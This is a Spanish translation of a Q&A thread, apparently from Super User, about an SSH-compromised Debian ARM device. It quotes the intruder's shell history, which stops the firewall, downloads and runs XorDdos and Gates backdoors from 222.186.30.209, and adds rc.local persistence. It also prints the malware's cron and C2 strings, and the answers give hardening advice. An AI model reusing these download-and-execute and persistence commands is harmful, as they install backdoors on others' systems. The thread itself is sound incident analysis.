Pregunta ¿Acabo de ser pirateado?


Estoy desarrollando un producto de consumo, y se supone que está conectado a Internet, por lo que, como era de esperar, está conectado a Internet para que pueda desarrollarlo adecuadamente.

Me fui por una hora o dos, y cuando volví a mi oficina noté algunos comandos extraños escritos en la terminal.

Mirando el archivo de registro de Linux llamado auth.log Puedo ver las siguientes líneas (entre muchas más):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

La dirección IP 40.127.205.162 resulta ser propiedad de Microsoft.

Aquí hay un montón de comandos que se usaron mientras estaba fuera:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

Y más:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

Estaba completamente inconsciente de esto. ¿Cómo puedo asegurar mi producto correctamente?

Me gustaría publicar el completo auth.log archivo. ¿Cómo puedo hacer eso?

Además, el archivo yjz1 que se descargó parece ser un troyano de Linux y todo esto parece ser hecho por algún tipo de grupo de hackers según http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

¿Debo llamar a Microsoft y hablar con ellos? ¿Que debería hacer?


482


origen


Sí, eso no se ve muy bien. No soy un experto en Linux de ninguna manera, pero algunos definitivamente intentaron ejecutar allí. No estoy seguro de cómo, ya que parece que intentó iniciar sesión como root y falló. ¿Hay algún otro registro en su auth.log? ¿Algún otro medio de administración remota? He visto Mac's con el servidor VNC habilitado ser pirateado antes a través de eso, aunque esto parece un intento de SSH. Parece que los IP de los que estaba descargando están alojados en algún lugar de China. - Jonno
Tienes brutalmente forzado. Esta es la razón por la que uno no deja un servidor ssh en Internet, incluso si tiene una contraseña. Cualquier cosa menos auth basada en clave no es lo suficientemente segura en estos días. - Journeyman Geek♦
Bueno, tenemos security.stackexchange.com. Pero primero lo primero: ya no se puede confiar en el host comprometido. Quítelo de la red. Si es posible, haga una copia de seguridad para que pueda investigar qué se hizo y cómo se hizo. Luego reinstale el SO de una fuente limpia. Restaurar datos de copias de seguridad. Asegure el sistema para que no te vuelvas a infectar Averiguar cómo llegaron es muy recomendable. (De ahí la recomendación de hacer una copia del sistema infectado). - Hennes
FYI: 40.127.205.162 es un Microsoft Azure Dirección IP según GeoIP. En consecuencia, no se puede culpar a Microsoft por el ataque; es equivalente a culpar a Amazon porque alguien usó EC2 para el correo no deseado. Lo único que Microsoft realmente puede hacer es echar a los atacantes de Azure, pero estarán de vuelta en una plataforma de nube diferente en poco tiempo. - nneonneo
De hecho, si esto fue escrito en su terminal, el hacker probablemente esté sentado en el siguiente cubículo. - isanae


Respuestas:


EDIT 2:

Hay una buena razón por la cual este post atrae tanta atención: lograste grabar la sesión completa y en vivo de un intruso en tu PC. Esto es muy diferente de nuestra experiencia cotidiana, donde tratamos con el descubrimiento de las consecuencias de sus acciones y tratamos de corregirlas. Aquí lo vemos trabajando, vemos que tiene algunos problemas para establecer la puerta trasera, volver sobre sus pasos, trabajar febrilmente (tal vez porque estaba sentado en su escritorio, como se sugirió anteriormente, o tal vez, y en mi opinión más probable, porque era incapaz de ejecutar su malware en el sistema, lea a continuación) y trate de implementar instrumentos de control totalmente autónomos. Esto es lo que los investigadores de seguridad presencian a diario con sus trampas de miel. Para mí, esta es una posibilidad muy rara, y la fuente de un poco de diversión.


Definitivamente has sido pirateado. La evidencia para esto no no venir del fragmento del auth.log archivo que muestra, porque informa un intento de inicio de sesión fallido, que se produce en un lapso de tiempo corto (dos segundos). Notará que la segunda línea indica Failed password, mientras que el tercero informa una pre-auth desconexión: el tipo lo intentó y falló.

La evidencia proviene en cambio del contenido de los dos archivos http://222.186.30.209:65534/yjz y http://222.186.30.209:65534/yjz1 que el atacante descargó en tu sistema.

El sitio está actualmente abierto para que cualquiera pueda descargarlo, lo cual hice. Primero corrí file en ellos, que mostró:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Luego los traje a un Debian VM de 64 bits que tengo; un examen de su contenido a través de la strings comando reveló mucho de lo que era sospechoso (referencia a varios ataques bien conocidos, a los comandos que se sustituirán, un script que se utilizó claramente para configurar un nuevo servicio, y así sucesivamente).

Luego produje los hash MD5 de ambos archivos, y los alimenté a Cymru's base de datos hash para ver si son agentes conocidos de malware. Mientras yjzno es, yjz1 es, y Cymru informa una probabilidad de detección por software antivirus del 58%. También indica que este archivo fue visto por última vez hace unos tres días, por lo que es razonablemente reciente.

Corriendo clamscan (parte de clamav paquete) en los dos archivos que obtuve:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

así que ahora estamos seguros de que el software estándar de Linux puede identificarlo.

¿Qué deberías hacer? 

Aunque es bastante nuevo, ninguno de los sistemas es muy nuevo, vea este artículo de enero de 2015 sobre XorDdos, por ejemplo. Entonces, la mayoría de los paquetes gratuitos deberían poder eliminarlo. Deberías intentarlo: clamav, rkhunter, chkrootkit. He buscado en Google y he visto que dicen ser capaces de detectarlo. Úselos para verificar el trabajo del predecesor, pero después de ejecutar estos tres programas, debe estar listo para comenzar.

En cuanto a la pregunta más grande, what should you do to prevent future infections, La respuesta de Journeyman es un buen primer paso. Solo tenga en cuenta que es una lucha continua, una que todos nosotros (¡incluido yo!) Bien podríamos haber perdido sin siquiera saberlo.

EDITAR:

A petición de Viktor Toth (indirecta), me gustaría añadir algunos comentarios. Ciertamente, es cierto que el intruso encontró algunas dificultades: descarga dos herramientas de pirateo distintas, cambia sus permisos varias veces, las reinicia varias veces e intenta muchas veces desactivar el cortafuegos. Es fácil adivinar lo que está sucediendo: espera que sus herramientas de piratería abran un canal de comunicación hacia una de sus PC infectadas (ver más adelante) y, cuando no ve este nuevo canal surgir en su GUI de control, teme que haya pirateado La herramienta está siendo bloqueada por el firewall, por lo que repite el procedimiento de instalación. Estoy de acuerdo con Viktor Toth en que esta etapa particular de su operación no parece traer los frutos esperados, pero me gustaría alentarte Muy fuerte no subestimar el alcance del daño infligido en tu PC.

Proporciono aquí una salida parcial de strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

Esto proporciona evidencia de alteración de los servicios (en /etc/init.d y en /etc/rc.d), con crontab, con el archivo de historial de mysql, y un par de archivos en proc que son enlaces a bash (lo que sugiere que se ha plantado una versión fraudulenta hecha a medida de su caparazón). Luego, el programa genera una solicitud HTTP (a un sitio de habla china,

 Accept-Language: zh-cn

que da sustancia al comentario de David Schwartz arriba), que puede crear aún más estragos. En la solicitud, binarios (Content-Type: application/x-www-form-urlencoded) deben descargarse a la PC atacada (GET) y cargarse en la máquina de control (POST). No pude establecer qué se descargaría a la PC atacada, pero dado el pequeño tamaño de ambos yjz y yjz1 (1.1MB y 600kB, respectivamente), puedo aventurarme a suponer que la mayoría de los archivos necesarios para ocultar el rootkit, es decir las versiones alteradas de ls, netstat, ps, ifconfig, ..., se descargarían de esta manera. Y esto explicaría los intentos febriles del atacante para que esta descarga funcione.

No hay certeza de que lo anterior agote todas las posibilidades: ciertamente nos falta parte de la transcripción (entre las líneas 457 y 481) y no vemos un cierre de sesión; además, especialmente preocupantes son las líneas 495-497,

cd /tmp;  ./yd_cd/make

que se refieren a un archivo que no vimos descargado, y que podría ser una compilación: si es así, significa que el atacante (¿finalmente?) ha entendido cuál era el problema con sus ejecutables, y está tratando de arreglarlo, en cuyo caso la PC atacada se ha ido para siempre. [De hecho, las dos versiones del malware que el atacante descargó en la máquina pirateada (y yo en mi Debian VM de 64 bits) son para una arquitectura inadecuada, x86, mientras que el nombre solo de la PC pirateada delata el hecho de que él estaba tratando con una arquitectura de brazo].

La razón por la que escribí esta edición es para exhortarlo lo más posible a peinar su sistema con un instrumento profesional o volver a instalar desde cero.

Y, por cierto, si esto resulta útil para cualquier persona, esta es la lista de 331 Direcciones IP a las cuales yjz intenta conectarse Esta lista es tan grande (y probablemente esté destinada a ser aún más grande) que creo que esta es la razón para manipular mysql. La lista provista por la otra puerta trasera es idéntica, lo cual, supongo, es la razón para dejar abierta una información tan importante (I pensar el atacante no deseó hacer el esfuerzo de almacenarlos en formato kernel, así que colocó toda la lista en un archivo de texto claro, que probablemente sea leído por todas sus puertas traseras, para cualquier sistema operativo):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

El siguiente código

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

en la lista anterior muestra que 302 de un total 331 las direcciones están en China continental, las restantes están en Hong Kong, Mongolia, Taiwán. Esto agrega más apoyo a la afirmación de David Schwartz de que esto es principalmente un anillo bot chino.

EDIT 3

A petición de @vaid (el autor del OP, lea su comentario a continuación), agregaré un comentario sobre cómo fortalecer la seguridad de un sistema Linux básico (para un sistema que proporciona muchos servicios, este es un tema mucho más complejo). vaid afirma que hizo lo siguiente:

  1. Reinstalar el sistema

  2. cambió la contraseña de root a una contraseña de 16 caracteres con letras mixtas mayúsculas y minúsculas, y caracteres y dígitos.

  3. Se cambió el nombre de usuario a un nombre de usuario de 6 caracteres largos combinados y se aplicó la misma contraseña que se utilizó para la raíz

  4. cambiado el puerto SSH a algo superior a 5000

  5. desactivó el inicio de sesión raíz de SSH.

Esto está bien (excepto que utilizo un puerto por encima de 10,000 ya que muchos programas útiles usan los puertos por debajo de 10,000). Pero No puedo enfatizar lo suficiente la necesidad de usar claves criptográficas para el inicio de sesión ssh, en lugar de contraseñas Te daré un ejemplo personal. En uno de mis VPSes, no estaba seguro de si cambiar el puerto ssh; Lo dejé a los 22, pero usé claves criptográficas para la autenticación. tuve cientos de intentos de robo por día, ninguno tuvo éxito. Cuando, cansado de comprobar a diario que nadie había tenido éxito, eventualmente cambié el puerto a algo más de 10,000, los intentos de robo se fueron a cero. Eso sí, no es que los hackers sean estúpidos (¡no lo son!), Solo cazan presas más fáciles.

Es fácil activar una clave criptográfica con RSA como un algoritmo de firma, vea el comentario a continuación por Jan Hudec (¡gracias!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Ahora todo lo que tienes que hacer es copiar el archivo id_rsa a la máquina desde la que desea conectarse (en un directorio .ssh, además chmod'ed a 700), luego emita el comando

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

Cuando esté seguro de que esto funciona, edite en el servidor (= la máquina a la que desea conectarse) el archivo /etc/ssh/sshd_configy cambia la línea

#PasswordAuthentication yes

a

PasswordAuthentication no

y reinicia el ssh Servicio (service ssh restart o systemctl restart ssh, o algo así, dependiendo de la distribución).

Esto resistirá mucho. De hecho, actualmente no se conocen exploits contra las versiones actuales de openssh v2, y de RSA como empleado por openssh v2.

Por último, para realmente atornillar su máquina, necesitará configurar el firewall (netfilter / iptables) de la siguiente manera:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

Esto, 1) permite conexiones ssh desde LAN y WAN, 2) permite todas las entradas originadas por sus solicitudes (por ejemplo, cuando carga una página web), 3) elimina todo lo demás en la entrada, 4) permite todo la salida, y 5-6) permite todo en la interfaz loopback.

A medida que crezcan sus necesidades y se necesiten abrir más puertos, puede hacerlo agregando, en la parte superior de la lista, reglas como las siguientes:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

para permitir, por ejemplo, personas a acceder a su navegador web.


477



Esto fue genial para leer. También probé el archivo yjz1 a través de Google VirusTotal.com que dio un positivo. Ni siquiera vi eso yjzhabía sido descargado. Gracias. - vaid
Ten cuidado corriendo strings en datos no confiables. lcamtuf.blogspot.com/2014/10/... - Matt Nordhoff
@MattNordhoff Gracias por señalar esto, fui felizmente inconsciente de eso. Sin embargo, en mi Debian el comando 'cuerdas' pasa la prueba que vinculó con gran éxito. Supongo que esto se debe al hecho de que el manual dice: -a ... Normalmente este es el comportamiento predeterminado. Aclamaciones. - MariusMatutiae
Esta respuesta muestra un enfoque que debería ser un paradigma: 1. No permita que su atención sea desviada por intentos fallidos, sea alertado. 2. Individualizar las acciones exitosas del atacante. 3. Estudia qué y cómo hizo el atacante. 4. Instale todo desde cero o desde la última copia de seguridad no corrompida (atacada), agregando las protecciones adicionales que necesita (punto 3). 5. Ayude a los demás a protegerse (la lista de IP comprometido / sospechoso). - Hastur
[Redactado luego del comentario de @MariusMatutiae] - Sin embargo, el OP debería darse cuenta de que en un sistema comprometido, cada ejecutable debe considerarse malicioso, incluso el shell, ls, who O algo más. "Rescatar datos" mediante el uso de cualquier ejecutable en el sistema comprometido (p. scp o rsync) podría comprometer aún más máquinas. - Dubu


Bienvenido a Internet, donde es probable que cualquier servidor SSH abierto sea sondeado, forzado por fuerza bruta y tenga varias indignidades infligidas sobre él.

Para comenzar, debe limpiar completamente el almacenamiento en el producto. Imagen si quieres pasarlo para análisis forense, pero la instalación de Linux ahora es sospechosa.

Un poco de conjeturas, pero

  1. Tienes fuerza bruta o usa una contraseña común. Es seguridad por oscuridad pero no quieres una contraseña de diccionario o para usar una cuenta de root abierta a SSH. Deshabilite el acceso root SSH si es una opción o al menos cambie el nombre para que adivinen ambos. SSHing como root es una terrible práctica de seguridad de todos modos. Si debe usar la raíz, inicie sesión como otro usuario y use su o sudo para cambiar.

  2. Dependiendo del producto, es posible que desee bloquear el acceso SSH de alguna manera. Un bloqueo total suena como una buena idea y permite a los usuarios abrirlo según sea necesario. Dependiendo de los recursos que pueda tener, considere solo permitir direcciones IP en su propia subred, o algún tipo de sistema de aceleración de inicio de sesión. Si no lo necesita en el producto final, asegúrese de que esté apagado.

  3. Use un puerto no estándar. Seguridad por oscuridad nuevamente, pero significa que un atacante necesita apuntar a su puerto.

  4. Nunca use una contraseña predeterminada. El mejor enfoque que he visto es generar aleatoriamente una contraseña para un dispositivo específico y enviarla con su producto. La mejor práctica es la autenticación basada en claves, pero no tengo idea de cómo abordaría eso en un producto de mercado masivo.


140



5. Use la autenticación de clave pública si es posible. La autenticación de contraseña es mucho, mucho menos segura. - Bob
Sí, pero si es un dispositivo de consumo, podría no ser una opción. En una caja de desarrollo, eso suena como una idea brillante. En un servidor, bueno, me han pirateado antes; p - Journeyman Geek♦
Si es un dispositivo de consumo, la misma contraseña aleatoria o clave en todos ellos también es una mala idea. Como cualquier cosa se basa en su número de serie, su MAC o información de otra manera identificable. (Algo que muchos módems / enrutadores / WAP de SoHO parecen haber perdido). - Hennes
Es un dispositivo de consumo. Sin embargo, la gran mayoría del consumidor objetivo no será educado lo suficiente como para saber lo que es SSH. Entonces SSH se puede apagar y lo más probable es que se apague. - vaid
Además, usa fail2ban. - Shadur


Oh, definitivamente has sido hackeado. Parece que alguien ha podido obtener credenciales de raíz e intentó descargar un troyano en su sistema. MariusMatutiae proporcionó un análisis de la carga útil.

Surgen dos preguntas: a) ¿Fue exitoso el atacante? Y b) ¿qué puedes hacer al respecto?

La respuesta a la primera pregunta mayo ser un no. Observe cómo el atacante intenta repetidamente descargar y ejecutar la carga útil, aparentemente sin éxito. Sospecho que algo (SELinux, ¿acaso?) Se interpuso en su camino.

SIN EMBARGO: el atacante también alteró su /etc/rc.d/rc.local archivo, con la esperanza de que cuando reinicie su sistema, la carga útil se active. Si aún no ha reiniciado el sistema, no lo reinicie hasta que haya eliminado estas alteraciones de /etc/rc.d/rc.local. Si ya lo has reiniciado ... bueno, mala suerte.

En cuanto a lo que puede hacer al respecto: lo más seguro es limpiar el sistema y volver a instalarlo desde cero. Pero esto puede no ser siempre una opción. Una cosa significativamente menos segura de hacer es analizar exactamente lo que sucedió y borrar cada rastro de ella, si es posible. De nuevo, si aún no ha reiniciado el sistema, quizás todo lo que necesita es limpiar /etc/rc.d/rc.local, elimine todo lo descargado por el atacante y, por último pero no menos importante, ¡cambie la maldita contraseña!

Sin embargo, si el atacante ya pudo ejecutar la carga útil, es posible que haya otras modificaciones en su sistema que puedan ser difíciles de detectar. Por eso, una limpieza completa es realmente la única opción segura (y recomendada). Como indicó, el equipo en cuestión puede ser un objetivo de prueba / desarrollo, por lo que tal vez borrarlo no sea tan doloroso como en otros casos.

Actualizar: A pesar de lo que escribí sobre una posible recuperación, deseo hacerme eco de MariusMatutiae muy fuerte recomendación de no subestimar el daño potencial causado por esta carga útil y la medida en que puede haber comprometido el sistema objetivo.


33



Gracias. He decidido limpiar el sistema. Lo reinicié un par de veces pero solo para copiar algunos datos esenciales. Sin binarios, solo código fuente. Creo que estoy bastante seguro ahora. - vaid
¿Qué hay de otras cajas en la misma LAN? - WGroleau
Buena pregunta. El historial del shell que se proporcionó no indica ningún intento de descubrir y poner en peligro otros cuadros en la misma red. De manera más general, si el atacante obtiene acceso SSH (raíz) a una casilla, básicamente significa que ha pasado por alto cualquier firewall perimetral. Sin embargo, no implica automáticamente que otras cajas estén en peligro: eso requeriría algo más como una vulnerabilidad sin parches, contraseñas compartidas entre cajas, inicio de sesión automático de una caja a otra, etc. - Viktor Toth


Mi sshd-honeypot también ha visto este tipo de ataque. Las primeras descargas de esa URL comenzaron el 2016-01-29 10:25:33 y los ataques aún están en curso. Los ataques son / vinieron de

103.30.4.212
111.68.6.170
118.193.228.169

La entrada de estos atacantes fue:

servicio de parada de iptables
wget http://222.186.30.209:65534/yjz1
nohup / root / yjz1> / dev / null 2> & amp1 &
chmod 0777 yjz1
chmod u + x yjz1
./yjz1 y
chmod u + x yjz1
./yjz1 y
cd / tmp

Entonces no hay actividades más que instalar la puerta trasera para más adelante.


17



De acuerdo, es el mismo MO. - MariusMatutiae
@MariusMatutiae ¿Entonces esto no es un truco manual? ¿Es algún tipo de gusano / bot propagador? - NickG
@NickG Mi mejor suposición es que esto no fue un truco manual. ¿Cuál es la probabilidad de que vaid trabaje en la misma oficina que el creador de una botnet con sede en China? Alguien encontró una debilidad explotable en su máquina, muy probablemente un servidor ssh débilmente seguro, forzó su contraseña de forma brutal, obtuvo acceso, intentó instalarse subrepticiamente. Sin embargo, también apostaría a que el atacante es más fluido con Windows que con Linux. Pero no tengo difícil prueba de esto, solo una conjetura educada. - MariusMatutiae


Todos aquí han ofrecido buenos consejos, pero para ser claros, sus prioridades deben ser una copia de seguridad y verificar lo que realmente necesita de ese sistema, luego limpiándolo con una nueva instalación de medios conocidos.

Antes de conectar su host recién instalado a Internet, ejecute estas ideas:

  1. Cree un nuevo usuario que no sea root e inicie sesión como ese usuario. Nunca debe tener que iniciar sesión como root, simplemente sudo (use el usuario sustituto) cuando sea necesario.

  2. Instalar SE Linux, configuraciones de configuración que habilitan el control de acceso obligatorio: https://wiki.debian.org/SELinux/Setup

  3. Considere un firewall de hardware entre su oficina / hogar e Internet. Uso MicroTik, que tiene un excelente soporte comunitario: http://routerboard.com/.

